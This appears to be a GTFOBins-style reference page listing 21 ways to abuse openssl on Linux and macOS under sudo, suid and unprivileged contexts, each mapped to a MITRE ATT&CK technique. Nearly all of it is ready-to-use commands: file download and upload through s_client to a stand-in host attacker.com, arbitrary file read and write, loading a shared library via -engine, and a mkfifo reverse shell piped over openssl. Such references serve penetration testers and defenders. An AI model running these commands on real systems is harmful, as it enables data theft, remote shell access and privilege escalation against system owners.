GTFO · Tool

openssl

21 techniques Linux · macOSGTFOBins GPL-3.0

download

File DownloadPrivilege Escalation LinuxmacOS

openssl s_client -quiet -connect attacker.com:12345 >/path/to/output-file

Context: sudo
Native: download
MITRE: T1105
Refs: gtfobins.github.io/gtfobins/openssl/

download

File DownloadPrivilege Escalation LinuxmacOS

openssl s_client -quiet -connect attacker.com:12345 >/path/to/output-file

Context: suid
Native: download
MITRE: T1105
Refs: gtfobins.github.io/gtfobins/openssl/

download

File Download LinuxmacOS

openssl s_client -quiet -connect attacker.com:12345 >/path/to/output-file

Context: unprivileged
Native: download
MITRE: T1105
Refs: gtfobins.github.io/gtfobins/openssl/

file-read

File ReadPrivilege Escalation LinuxmacOS

openssl enc -in /path/to/input-file

Context: sudo
Native: file-read
MITRE: T1005
Refs: gtfobins.github.io/gtfobins/openssl/

file-read

File ReadPrivilege Escalation LinuxmacOS

openssl enc -in /path/to/input-file

Context: suid
Native: file-read
MITRE: T1005
Refs: gtfobins.github.io/gtfobins/openssl/

file-read

File Read LinuxmacOS

openssl enc -in /path/to/input-file

Context: unprivileged
Native: file-read
MITRE: T1005
Refs: gtfobins.github.io/gtfobins/openssl/

file-write

File WritePrivilege Escalation LinuxmacOS

echo DATA | openssl enc -out /path/to/output-file

Context: sudo
Native: file-write
MITRE: T1565
Refs: gtfobins.github.io/gtfobins/openssl/

file-write

File WritePrivilege Escalation LinuxmacOS

echo DATA | openssl enc -out /path/to/output-file

Context: suid
Native: file-write
MITRE: T1565
Refs: gtfobins.github.io/gtfobins/openssl/

file-write

File Write LinuxmacOS

echo DATA | openssl enc -out /path/to/output-file

Context: unprivileged
Native: file-write
MITRE: T1565
Refs: gtfobins.github.io/gtfobins/openssl/

file-write

File WritePrivilege Escalation LinuxmacOS

openssl enc -in /path/to/input-file -out /path/to/output-file

Context: sudo
Native: file-write
MITRE: T1565
Refs: gtfobins.github.io/gtfobins/openssl/

file-write

File WritePrivilege Escalation LinuxmacOS

openssl enc -in /path/to/input-file -out /path/to/output-file

Context: suid
Native: file-write
MITRE: T1565
Refs: gtfobins.github.io/gtfobins/openssl/

file-write

File Write LinuxmacOS

openssl enc -in /path/to/input-file -out /path/to/output-file

Context: unprivileged
Native: file-write
MITRE: T1565
Refs: gtfobins.github.io/gtfobins/openssl/

library-load

Library LoadPrivilege Escalation LinuxmacOS

openssl req -engine ./lib.so

Context: sudo
Native: library-load
MITRE: T1574
Refs: gtfobins.github.io/gtfobins/openssl/

library-load

Library LoadPrivilege Escalation LinuxmacOS

openssl req -engine ./lib.so

Context: suid
Native: library-load
MITRE: T1574
Refs: gtfobins.github.io/gtfobins/openssl/

library-load

Library Load LinuxmacOS

openssl req -engine ./lib.so

Context: unprivileged
Native: library-load
MITRE: T1574
Refs: gtfobins.github.io/gtfobins/openssl/

reverse-shell

Reverse/Bind ShellPrivilege Escalation LinuxmacOS

The shell process is not spawn by `openssl`.

mkfifo /path/to/temp-socket
/bin/sh -i </path/to/temp-socket 2>&1 | openssl s_client -quiet -connect attacker.com:12345 >/path/to/temp-socket

Context: sudo
Native: reverse-shell
MITRE: T1059 T1071
Refs: gtfobins.github.io/gtfobins/openssl/

reverse-shell

Reverse/Bind ShellPrivilege Escalation LinuxmacOS

The shell process is not spawn by `openssl`.

mkfifo /path/to/temp-socket
/bin/sh -i </path/to/temp-socket 2>&1 | openssl s_client -quiet -connect attacker.com:12345 >/path/to/temp-socket

Context: suid
Native: reverse-shell
MITRE: T1059 T1071
Refs: gtfobins.github.io/gtfobins/openssl/

reverse-shell

Reverse/Bind Shell LinuxmacOS

The shell process is not spawn by `openssl`.

mkfifo /path/to/temp-socket
/bin/sh -i </path/to/temp-socket 2>&1 | openssl s_client -quiet -connect attacker.com:12345 >/path/to/temp-socket

Context: unprivileged
Native: reverse-shell
MITRE: T1059 T1071
Refs: gtfobins.github.io/gtfobins/openssl/

upload

File UploadPrivilege Escalation LinuxmacOS

openssl s_client -quiet -connect attacker.com:12345 </path/to/input-file

Context: sudo
Native: upload
MITRE: T1041
Refs: gtfobins.github.io/gtfobins/openssl/

upload

File UploadPrivilege Escalation LinuxmacOS

openssl s_client -quiet -connect attacker.com:12345 </path/to/input-file

Context: suid
Native: upload
MITRE: T1041
Refs: gtfobins.github.io/gtfobins/openssl/

upload

File Upload LinuxmacOS

openssl s_client -quiet -connect attacker.com:12345 </path/to/input-file

Context: unprivileged
Native: upload
MITRE: T1041
Refs: gtfobins.github.io/gtfobins/openssl/